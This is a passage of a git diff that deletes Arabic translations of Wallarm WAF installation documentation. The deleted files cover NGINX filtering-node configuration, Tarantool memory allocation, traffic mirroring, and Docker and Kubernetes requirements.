محرر النصوص **vim**، **nano**، أو أيٍ آخر. في التعليمات، يُستخدم **vim** \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-requirements.md b/include-ar/waf/installation/nginx-requirements.md deleted file mode 100644 index b9f79936f7..0000000000 --- a/include-ar/waf/installation/nginx-requirements.md +++ /dev/null @@ -1,7 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** أو **الموزع** والمصادقة الثنائية غير مفعلة في وحدة تحكم Wallarm لـ [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* SELinux معطلة أو مُهيأة وفقًا لـ[التعليمات][configure-selinux-instr] -* تنفيذ جميع الأوامر كمستخدم عظمى (مثل `root`) -* للمعالجة الطلبات والتحليلات اللاحقة على الخوادم المختلفة: التحليلات اللاحقة مُثبتة على الخادم المنفصل وفقًا لـ[التعليمات][install-postanalytics-instr] -* الوصول إلى `https://repo.wallarm.com` لتنزيل الحزم. تأكد من عدم حظر الوصول بواسطة جدار الحماية -* الوصول إلى `https://us1.api.wallarm.com:444` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com:444` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تهيئة الوصول عبر خادم وكيل فقط، استخدم[التعليمات][configure-proxy-balancer-instr] -* تثبيت محرر نصوص **vim**، **nano**، أو أي آخر. في التعليمات، يُستخدم **vim** \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-waf-min-configuration-2.16.md b/include-ar/waf/installation/nginx-waf-min-configuration-2.16.md deleted file mode 100644 index 52e0189162..0000000000 --- a/include-ar/waf/installation/nginx-waf-min-configuration-2.16.md +++ /dev/null @@ -1,87 +0,0 @@ -تقع ملفات التهيئة الرئيسية لـ NGINX وعقدة الفلترة Wallarm في المجلدات: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات عقدة الفلترة العامة - - يُستخدم الملف للإعدادات المطبقة على جميع المجالات. لتطبيق إعدادات مختلفة على مجموعات المجالات المختلفة، استخدم الملف `default.conf` أو انشئ ملفات تهيئة جديدة لكل مجموعة من المجالات (على سبيل المثال، `example.com.conf` و`test.com.conf`). المعلومات المفصلة حول ملفات تهيئة NGINX متوفرة في [الوثائق الرسمية لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة عقدة Wallarm. الوصف المفصل متوفر ضمن [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -#### وضع فلترة الطلبات - -بشكل افتراضي، تكون عقدة الفلترة في وضع `off` ولا تحلل الطلبات الواردة. لتمكين تحليل الطلبات، يُرجى اتباع الخطوات: - -1. افتح الملف `/etc/nginx/conf.d/default.conf`: - - ```bash - sudo vim /etc/nginx/conf.d/default.conf - ``` -2. أضف السطر `wallarm_mode monitoring;` إلى كتلة `https`, `server` أو `location`: - -??? note "مثال على الملف `/etc/nginx/conf.d/default.conf`" - - ```bash - server { - # منفذ تصفية الطلبات - listen 80; - # مجال تصفية الطلبات - server_name localhost; - # وضع عقدة الفلترة - wallarm_mode monitoring; - - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` - -عند العمل في وضع `monitoring`، تبحث عقدة الفلترة عن علامات الهجمات في الطلبات لكن لا تحظر الهجمات المكتشفة. نوصي بالإبقاء على تدفق الحركة عبر عقدة الفلترة في وضع `monitoring` لعدة أيام بعد نشر عقدة الفلترة وبعد ذلك فقط تفعيل وضع `block`. [تعلم التوصيات حول إعداد وضع عمل عقدة الفلترة →][waf-mode-recommendations] - -#### الذاكرة - -!!! info "وحدة التحليلات في الوقت الفعلي على خادم منفصل" - إذا كانت وحدة التحليلات بعد الأحداث مثبتة على خادم منفصل، فتخطى هذه الخطوة لأنك تملك الوحدة مهيأة بالفعل. - -تستخدم عقدة Wallarm التخزين في الذاكرة Tarantool. اعرف المزيد حول كمية الموارد المطلوبة [هنا][memory-instr]. لاحظ أنه يمكن تخصيص موارد أقل للبيئات التجريبية مقارنة بتلك الخاصة بالإنتاج. - -لتخصيص الذاكرة لـ Tarantool: - -1. افتح ملف تكوين Tarantool في وضع التحرير: - - === "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOS أو Amazon Linux 2.0.2021x وأقل" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. حدد حجم الذاكرة بالجيجابايت في توجيه `SLAB_ALLOC_ARENA`. يمكن أن تكون القيمة عددًا صحيحًا أو عشريًا (نقطة `.` هي فاصل عشري). - - توصيات مفصلة حول تخصيص الذاكرة لـ Tarantool موصوفة في هذه [التعليمات][memory-instr]. -3. لتطبيق التغييرات، أعد تشغيل Tarantool: - - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -#### عنوان خادم التحليلات بعد الأحداث المنفصل - -!!! info "NGINX-Wallarm ووحدة التحليلات بعد الأحداث على نفس الخادم" - إذا تم تثبيت وحدتي NGINX-Wallarm والتحليلات في الوقت الفعلي على نفس الخادم، فتخطى هذه الخطوة. - ---8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md" - -#### التكوينات الأخرى - -لتحديث التكوينات الأخرى لـ NGINX وعقدة Wallarm، استخدم الوثائق الخاصة بـ NGINX وقائمة [توجيهات عقدة Wallarm المتاحة][waf-directives-instr]. \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-waf-min-configuration-3.6.md b/include-ar/waf/installation/nginx-waf-min-configuration-3.6.md deleted file mode 100644 index ce1368e644..0000000000 --- a/include-ar/waf/installation/nginx-waf-min-configuration-3.6.md +++ /dev/null @@ -1,90 +0,0 @@ -تقع ملفات الضبط الرئيسية لـ NGINX وعقدة تصفية Wallarm في المجلدات: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات عقدة التصفية العالمية - - يُستخدم الملف للإعدادات المطبقة على جميع النطاقات. لتطبيق إعدادات مختلفة على مجموعات نطاقات مختلفة، استخدم الملف `default.conf` أو قم بإنشاء ملفات ضبط جديدة لكل مجموعة من النطاقات (مثل `example.com.conf` و`test.com.conf`). تتوفر معلومات أكثر تفصيلاً حول ملفات ضبط NGINX في [التوثيق الرسمي لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة عقدة Wallarm. الوصف التفصيلي متاح ضمن [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -#### وضع فلترة الطلبات - -بشكل افتراضي، تكون عقدة التصفية في الحالة `off` ولا تقوم بتحليل الطلبات الواردة. لتمكين تحليل الطلبات، يُرجى اتباع الخطوات: - -1. افتح الملف `/etc/nginx/conf.d/default.conf`: - - ```bash - sudo vim /etc/nginx/conf.d/default.conf - ``` -2. أضف السطر `wallarm_mode monitoring;` إلى الكتلة `https`, `server` أو `location`: - -??? note "مثال على الملف `/etc/nginx/conf.d/default.conf`" - - ```bash - server { - # المنفذ الذي يتم تصفية الطلبات له - listen 80; - # النطاق الذي يتم تصفية الطلبات له - server_name localhost; - # وضع عقدة التصفية - wallarm_mode monitoring; - - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` -عند التشغيل في وضع `monitoring`، تبحث عقدة التصفية عن علامات الهجوم في الطلبات لكن لا تحجب الهجمات المكتشفة. ننصح بالسماح بمرور الحركة عبر عقدة التصفية في وضع `monitoring` لعدة أيام بعد نشر عقدة التصفية ومن ثم تمكين وضع `block`. [تعرف على التوصيات بشأن إعداد وضع عقدة التصفية →][waf-mode-recommendations] - -#### الذاكرة - -!!! info "وحدة postanalytics على الخادم المنفصل" - إذا قمت بتثبيت وحدة postanalytics على خادم منفصل، فتجاوز هذه الخطوة لأن لديك الوحدة مضبوطة بالفعل. - -تستخدم عقدة Wallarm التخزين بالذاكرة Tarantool. تعرف على المزيد حول كمية الموارد المطلوبة [هنا][memory-instr]. لاحظ أنه بالنسبة لبيئات الاختبار، يمكنك تخصيص موارد أقل مما هو للبيئات الإنتاجية. - -لتخصيص الذاكرة لـ Tarantool: - -1. افتح ملف ضبط Tarantool في وضع التحرير: - - === "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOS أو Amazon Linux 2.0.2021x وأقل" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. حدد حجم الذاكرة بالجيجابايت في التوجيه `SLAB_ALLOC_ARENA`. يمكن أن تكون القيمة عددًا صحيحًا أو عشريًا (نقطة `.` هي فاصل عشري). - - الوصف التفصيلي للتوصيات حول تخصيص الذاكرة لـ Tarantool موضح في هذه [التعليمات][memory-instr]. -3. لتطبيق التغييرات، أعد تشغيل Tarantool: - - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -#### عنوان الخادم postanalytics المنفصل - -!!! info "NGINX-Wallarm وpostanalytics على نفس الخادم" - إذا تم تثبيت وحدات NGINX-Wallarm وpostanalytics على نفس الخادم، فتجاوز هذه الخطوة. - ---8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md" - -#### التكوينات الأخرى - -لتحديث تكوينات NGINX وعقدة Wallarm الأخرى، استخدم التوثيق الخاص بـ NGINX وقائمة [توجيهات عقدة Wallarm المتاحة][waf-directives-instr]. \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-waf-min-configuration-4.4.md b/include-ar/waf/installation/nginx-waf-min-configuration-4.4.md deleted file mode 100644 index 783d8c8885..0000000000 --- a/include-ar/waf/installation/nginx-waf-min-configuration-4.4.md +++ /dev/null @@ -1,95 +0,0 @@ -ملفات التكوين الرئيسية لـ NGINX وعقدة تصفية Wallarm تقع في الدلائل: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات عقدة التصفية العالمية - - يُستخدم الملف للإعدادات المطبقة على جميع النطاقات. لتطبيق إعدادات مختلفة على مجموعات نطاقات مختلفة، استخدم ملف `default.conf` أو قم بإنشاء ملفات تكوين جديدة لكل مجموعة نطاق (على سبيل المثال، `example.com.conf` و `test.com.conf`). يتوفر معلومات أكثر تفصيلاً عن ملفات تكوين NGINX في [التوثيق الرسمي لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة عقدة Wallarm. الوصف التفصيلي متاح ضمن [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -#### وضع تصفية الطلبات - -افتراضيًا، تكون عقدة التصفية في الحالة `off` ولا تقوم بتحليل الطلبات الواردة. لتمكين تحليل الطلبات، الرجاء اتباع الخطوات: - -1. افتح الملف `/etc/nginx/conf.d/default.conf`: - - ```bash - sudo vim /etc/nginx/conf.d/default.conf - ``` -2. أضف السطر `wallarm_mode monitoring;` إلى كتلة `https`، `server` أو `location`: - -??? note "مثال على الملف `/etc/nginx/conf.d/default.conf`" - - ```bash - server { - # المنفذ الذي تُصفى عليه الطلبات - listen 80; - # نطاق الذي تُصفى عليه الطلبات - server_name localhost; - # وضع عقدة التصفية - wallarm_mode monitoring; - - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` - -عند العمل في وضع `monitoring`، تبحث عقدة التصفية عن علامات الهجوم في الطلبات لكنها لا تمنع الهجمات المكتشفة. نوصي بإبقاء حركة المرور عبر عقدة التصفية في وضع `monitoring` لعدة أيام بعد نشر عقدة التصفية ومن ثم تمكين وضع `block`. [تعرف على التوصيات بخصوص إعداد وضع عمل عقدة التصفية →][waf-mode-recommendations] - -#### الذاكرة - -!!! info "وحدة Postanalytics على خادم منفصل" - إذا قمت بتثبيت وحدة postanalytics على خادم منفصل، فتخطى هذه الخطوة لأن لديك الوحدة مُعدة بالفعل. - -تستخدم عقدة Wallarm التخزين في الذاكرة Tarantool. تعرف على المزيد حول كمية الموارد المطلوبة [هنا][memory-instr]. لاحظ أنه للبيئات التجريبية يمكنك تخصيص موارد أقل من تلك المخصصة للبيئات الإنتاجية. - -لتخصيص الذاكرة لـ Tarantool: - -1. افتح ملف تكوين Tarantool في وضع التحرير: - - === "ديبيان" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "أوبونتو" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOS أو Amazon Linux 2.0.2021x وما دون" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "RHEL 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. حدد حجم الذاكرة بالجيجابايت في توجيه `SLAB_ALLOC_ARENA`. يمكن أن يكون القيمة عددًا صحيحًا أو عددًا عشريًا (نقطة `.` هي فاصلة العشرية). - - يتم وصف التوصيات التفصيلية حول تخصيص الذاكرة لـ Tarantool في هذه [التعليمات][memory-instr]. -3. لتطبيق التغييرات، أعد تشغيل Tarantool: - - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -#### عنوان خادم postanalytics المنفصل - -!!! info "NGINX-Wallarm وpostanalytics على نفس الخادم" - إذا تم تثبيت وحدات NGINX-Wallarm وpostanalytics على نفس الخادم، فتخطى هذه الخطوة. - ---8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md" - -#### إعدادات أخرى - -لتحديث إعدادات NGINX وعقدة Wallarm الأخرى، استخدم توثيق NGINX وقائمة [التوجيهات المتوفرة لعقدة Wallarm][waf-directives-instr]. \ No newline at end of file diff --git a/include-ar/waf/installation/oob/steps-for-mirroring-cloud.md b/include-ar/waf/installation/oob/steps-for-mirroring-cloud.md deleted file mode 100644 index b0e12f3601..0000000000 --- a/include-ar/waf/installation/oob/steps-for-mirroring-cloud.md +++ /dev/null @@ -1,33 +0,0 @@ -بشكل افتراضي، العقدة المنشورة لـ Wallarm لا تقوم بتحليل الحركة الواردة. - -لبدء تحليل الحركة، قم بتغيير ملف `/etc/nginx/sites-enabled/default` على نموذج Wallarm كالتالي: - -1. لكي تقبل عقدة Wallarm الحركة المعكوسة، قم بضبط التوجيه التالي في كتلة `server` لـ NGINX: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # قم بتغيير 222.222.222.22 إلى عنوان الخادم المعكوس - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * يُطلب من التوجيهات `set_real_ip_from` و `real_ip_header` لكي تعرض واجهة Wallarm Console عناوين IP للمهاجمين. - * التوجيهات `wallarm_force_response_*` مطلوبة لتعطيل تحليل كافة الطلبات باستثناء النسخ المستلمة من الحركة المعكوسة. -1. لتحليل عقدة Wallarm للحركة المعكوسة، قم بضبط التوجيه `wallarm_mode` إلى `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - بما أنه لا يمكن منع الطلبات الخبيثة، فإن الوضع الوحيد [المقبول][wallarm-mode] لدى Wallarm هو الرصد. للتنفيذ الخطي، هناك أيضًا أوضاع الحظر الآمنة والحظر ولكن حتى إذا قمت بضبط التوجيه `wallarm_mode` إلى قيمة غير الرصد، تستمر العقدة في رصد الحركة وتسجيل الحركة الخبيثة فقط (بغض النظر عن الوضع المضبوط على إيقاف). \ No newline at end of file diff --git a/include-ar/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md b/include-ar/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md deleted file mode 100644 index 27757a780c..0000000000 --- a/include-ar/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md +++ /dev/null @@ -1,33 +0,0 @@ -بشكل افتراضي، لا يقوم عقد Wallarm المستخدم بتحليل حركة المرور الواردة. - -قم بإجراء التكوين التالي في ملف [تكوين NGINX](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) على الجهاز الذي تم تثبيت العقد عليه لتهيئة Wallarm لمعالجة حركة المرور المعكوسة: - -1. لكي يقبل عقد Wallarm حركة المرور المعكوسة، قم بإعداد التكوين التالي في قطعة `server` الخاصة بNGINX: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # قم بتغيير 222.222.222.22 إلى عنوان الخادم المعكوس - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * تُعد التوجيهات `set_real_ip_from` و`real_ip_header` مطلوبتين لتتمكن لوحة تحكم Wallarm من [عرض عناوين IP للمهاجمين](proxy-balancer-instr). - * تُعد التوجيهات `wallarm_force_response_*` مطلوبة لتعطيل تحليل جميع الطلبات باستثناء النسخ التي تُستلم من حركة المرور المعكوسة. -2. لكي يحلل عقد Wallarm حركة المرور المعكوسة، قم بإعداد توجيه `wallarm_mode` إلى `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - بما أنه لا يمكن [حظر](oob-advantages-limitations) الطلبات الضارة، فإن الوضع الوحيد [المقبول](waf-mode-instr) من Wallarm هو الرصد. بالنسبة للنشر في الخط، توجد أيضًا أوضاع الحظر الآمن والحظر ولكن حتى إذا قمت بتعيين توجيه `wallarm_mode` إلى قيمة مختلفة عن الرصد، يستمر العقد في مراقبة حركة المرور وتسجيل حركة المرور الضارة فقط (بخلاف الوضع الذي تم ضبطه على إيقاف). \ No newline at end of file diff --git a/include-ar/waf/installation/oob/steps-for-mirroring-linux.md b/include-ar/waf/installation/oob/steps-for-mirroring-linux.md deleted file mode 100644 index 19b5386597..0000000000 --- a/include-ar/waf/installation/oob/steps-for-mirroring-linux.md +++ /dev/null @@ -1,33 +0,0 @@ -بشكل افتراضي، العقدة المُنشرة لـ Wallarm لا تقوم بتحليل حركة المرور الواردة. - -لتهيئة Wallarm لمعالجة مرآة حركة المرور، قم بالتكوين التالي في ملف `/etc/nginx/conf.d/default.conf` على الجهاز الذي تم تثبيت العقدة عليه: - -1. للسماح لعقدة Wallarm باستقبال حركة المرور المعكوسة، قم بتعيين التكوين التالي في كتلة `server` الخاصة بـ NGINX: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # قم بتغيير 222.222.222.22 إلى عنوان خادم المرآة - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * يُطلب من توجيهات `set_real_ip_from` و `real_ip_header` ليتم عرض عناوين IP للمهاجمين في واجهة Wallarm. - * توجيهات `wallarm_force_response_*` مطلوبة لتعطيل تحليل جميع الطلبات باستثناء النسخ المستلمة من حركة المرور المعكوسة. -1. لتحليل عقدة Wallarm لحركة المرور المعكوسة، قم بتعيين توجيه `wallarm_mode` إلى `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - نظرًا لأنه لا يمكن حظر الطلبات الخبيثة، الوضع الوحيد الذي تقبله Wallarm هو التتبع. بالنسبة للتنفيذ في الخط، هناك أيضًا وضعي الحظر الآمن والحظر، ولكن حتى إذا قمت بتعيين توجيه `wallarm_mode` إلى قيمة مختلفة عن التتبع، تستمر العقدة في مراقبة حركة المرور وتسجيل حركة المرور الخبيثة فقط (بصرف النظر عن التعيين للوضع إلى متوقف). \ No newline at end of file diff --git a/include-ar/waf/installation/quick-start-configuration-options-4.4.md b/include-ar/waf/installation/quick-start-configuration-options-4.4.md deleted file mode 100644 index 7f40ef7168..0000000000 --- a/include-ar/waf/installation/quick-start-configuration-options-4.4.md +++ /dev/null @@ -1,4 +0,0 @@ -* [تهيئة وضع ترشيح حركة المرور][operation-mode-rule-docs] -* [تخصيص قواعد ترشيح حركة المرور][rules-docs] -* [قائمة السماح والحظر والقائمة الرمادية لعناوين IP][ip-lists-docs] -* إعداد إشعارات الأحداث النظامية عبر [التكاملات الأصلية مع أدوات DevOps][integration-docs] و[المشغلات][trigger-docs] \ No newline at end of file diff --git a/include-ar/waf/installation/quick-start-configuration-options.md b/include-ar/waf/installation/quick-start-configuration-options.md deleted file mode 100644 index 22990d7782..0000000000 --- a/include-ar/waf/installation/quick-start-configuration-options.md +++ /dev/null @@ -1,5 +0,0 @@ -* [تكوين خاص بوضعية تصفية حركة البيانات][operation-mode-rule-docs] -* [تخصيص قواعد تصفية حركة البيانات][rules-docs] -* [قائمة السماح والحظر والقائمة الرمادية لعناوين بروتوكول الإنترنت][ip-lists-docs] -* تهيئة إشعارات الأحداث النظامية عبر [التكاملات الأصلية مع أدوات DevOps][integration-docs] و[المحفزات][trigger-docs] -* [الكشف المزدوج عن الهجمات باستخدام **libdetection**][enable-libdetection-docs] \ No newline at end of file diff --git a/include-ar/waf/installation/requirements-docker-nginx-4.0.md b/include-ar/waf/installation/requirements-docker-nginx-4.0.md deleted file mode 100644 index daef76ebfe..0000000000 --- a/include-ar/waf/installation/requirements-docker-nginx-4.0.md +++ /dev/null @@ -1,7 +0,0 @@ -* تثبيت [Docker](https://docs.docker.com/engine/install/) على نظامك الأساسي -* الوصول إلى `https://hub.docker.com/r/wallarm/node` لتنزيل صورة Docker. يُرجى التأكد من عدم حجب الوصول بواسطة جدار الحماية -* الوصول إلى الحساب بدور **المدير** في واجهة Wallarm في [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com` عند العمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` عند العمل مع سحابة Wallarm الأوروبية. يُرجى التأكد من عدم حجب الوصول بواسطة جدار الحماية -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" diff --git a/include-ar/waf/installation/requirements-docker.md b/include-ar/waf/installation/requirements-docker.md deleted file mode 100644 index 018652d930..0000000000 --- a/include-ar/waf/installation/requirements-docker.md +++ /dev/null @@ -1,2 +0,0 @@ -* الوصول إلى الحساب بدور **النشر** أو **المدير** ومصادقة العاملين معطلة في واجهة Wallarm في [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com:444` عند العمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com:444` عند العمل مع سحابة Wallarm الأوروبية. يرجى التأكد من أن الوصول غير محظور بواسطة جدار الحماية \ No newline at end of file diff --git a/include-ar/waf/installation/requirements-nginx-ingress-controller-4.4.md b/include-ar/waf/installation/requirements-nginx-ingress-controller-4.4.md deleted file mode 100644 index 42a3a2dfae..0000000000 --- a/include-ar/waf/installation/requirements-nginx-ingress-controller-4.4.md +++ /dev/null @@ -1,10 +0,0 @@ -* نسخة منصة Kubernetes 1.23-1.25 -* مدير حزم [Helm](https://helm.sh/) -* التوافقية لخدماتكم مع [متحكم دخول NGINX المجتمعي](https://github.com/kubernetes/ingress-nginx) إصدار 1.6.4 أو أقل -* الوصول إلى الحساب بدور **المدير** وتعطيل التوثيق الثنائي في وحدة التحكم Wallarm لـ [السحاب الأمريكي](https://us1.my.wallarm.com/) أو [السحاب الأوروبي](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحاب Wallarm الأمريكي أو إلى `https://api.wallarm.com` للعمل مع سحاب Wallarm الأوروبي -* الوصول إلى `https://charts.wallarm.com` لإضافة خرائط Wallarm Helm. تأكد من عدم حجب الوصول بواسطة جدار الحماية -* الوصول إلى مستودعات Wallarm على Docker Hub `https://hub.docker.com/r/wallarm`. تأكد من عدم حجب الوصول بواسطة جدار الحماية -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" diff --git a/include-ar/waf/installation/requirements-nginx-ingress-controller-latest.md b/include-ar/waf/installation/requirements-nginx-ingress-controller-latest.md deleted file mode 100644 index 8b16cfcf4e..0000000000 --- a/include-ar/waf/installation/requirements-nginx-ingress-controller-latest.md +++ /dev/null @@ -1,10 +0,0 @@ -* نسخة منصة Kubernetes 1.24-1.27 -* مدير الحزم [Helm](https://helm.sh/) -* التوافقية مع [متحكم الدخول إنجنكس الجماعي](https://github.com/kubernetes/ingress-nginx) الإصدار 1.9.5 -* الوصول إلى الحساب بدور **المدير** وميزة المصادقة الثنائية معطلة في واجهة Wallarm لـ[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية -* الوصول إلى `https://charts.wallarm.com` لإضافة الرسوم البيانية لـ Wallarm Helm. تأكد من عدم حجب الوصول بواسطة جدار الحماية -* الوصول إلى مستودعات Wallarm على Docker Hub `https://hub.docker.com/r/wallarm`. تأكد من عدم حجب الوصول بواسطة جدار الحماية -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" diff --git a/include-ar/waf/installation/restart-nginx-systemctl.md b/include-ar/waf/installation/restart-nginx-systemctl.md deleted file mode 100644 index a77b705f65..0000000000 --- a/include-ar/waf/installation/restart-nginx-systemctl.md +++ /dev/null @@ -1,5 +0,0 @@ -استخدم الأمر التالي لإعادة تشغيل NGINX: - -```bash -sudo systemctl restart nginx -``` \ No newline at end of file diff --git a/include-ar/waf/installation/sending-traffic-to-node-inline-oob-latest.md b/include-ar/waf/installation/sending-traffic-to-node-inline-oob-latest.md deleted file mode 100644 index 6d43e6ffa9..0000000000 --- a/include-ar/waf/installation/sending-traffic-to-node-inline-oob-latest.md +++ /dev/null @@ -1,22 +0,0 @@ -اعتمادًا على طريقة النشر المستخدمة، قم بإجراء الإعدادات التالية: - -=== "مباشرة" - قم بتحديث أهداف موازن الحمل لإرسال المرور إلى نسخة Wallarm. للتفاصيل، يرجى الرجوع إلى الوثائق الخاصة بموازن الحمل الخاص بك. - -=== "خارج المسار" - 1. قم بتكوين وحدة خدمتك الويب أو الخادم الوكيل (على سبيل المثال، NGINX، Envoy) لنسخ المرور الوارد إلى عقدة Wallarm. للحصول على تفاصيل التكوين، نوصي بالرجوع إلى وثائق الوحدة الخدمية للويب أو الخادم الوكيل الخاص بك. - - داخل ال[رابط][web-server-mirroring-examples]، ستجد إعداد المثال لأشهر وحدات الخدمة الويبية والخوادم الوكيلة (NGINX، Traefik، Envoy). - 1. ضع الإعداد التالي في الملف `/etc/nginx/sites-enabled/default` على النسخة بالعقدة: - - ``` - location / { - include /etc/nginx/presets.d/mirror.conf; - - # غير 222.222.222.22 إلى عنوان الخادم الناسخ - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - } - ``` - - تعد التوجيهات `set_real_ip_from` و `real_ip_header` ضرورية ليتمكن منصة Wallarm من [عرض عناوين IP للمهاجمين][real-ip-docs]. \ No newline at end of file diff --git a/include-ar/waf/installation/sending-traffic-to-node-inline-oob.md b/include-ar/waf/installation/sending-traffic-to-node-inline-oob.md deleted file mode 100644 index 0eb608c4ba..0000000000 --- a/include-ar/waf/installation/sending-traffic-to-node-inline-oob.md +++ /dev/null @@ -1,8 +0,0 @@ -تبعًا لنهج النشر المستخدم، قم بإجراء الإعدادات التالية: - -=== "مباشر" - قم بتحديث أهداف موزع الحمل لديك لإرسال حركة المرور إلى نسخة Wallarm. للتفاصيل، يرجى الرجوع إلى وثائق موزع الحمل الخاص بك. -=== "خارج النطاق" - قم بتهيئة خادم الويب أو البروكسي لديك (مثل NGINX، Envoy) لعكس حركة المرور الواردة إلى عقدة Wallarm. للحصول على تفاصيل التهيئة، ننصح بالرجوع إلى وثائق خادم الويب أو البروكسي الخاص بك. - - داخل [الرابط][web-server-mirroring-examples]، ستجد تهيئة مثالية لأشهر خوادم الويب والبروكسي (NGINX، Traefik، Envoy). \ No newline at end of file diff --git a/include-ar/waf/installation/sending-traffic-to-node-inline.md b/include-ar/waf/installation/sending-traffic-to-node-inline.md deleted file mode 100644 index e036eaa743..0000000000 --- a/include-ar/waf/installation/sending-traffic-to-node-inline.md +++ /dev/null @@ -1 +0,0 @@ -قم بتحديث أهداف موزع الحمل لديك لإرسال الحركة إلى مثيل Wallarm. للتفاصيل، يرجى الرجوع إلى التوثيق على موزع الحمل الخاص بك. \ No newline at end of file diff --git a/include-ar/waf/installation/sending-traffic-to-node-oob.md 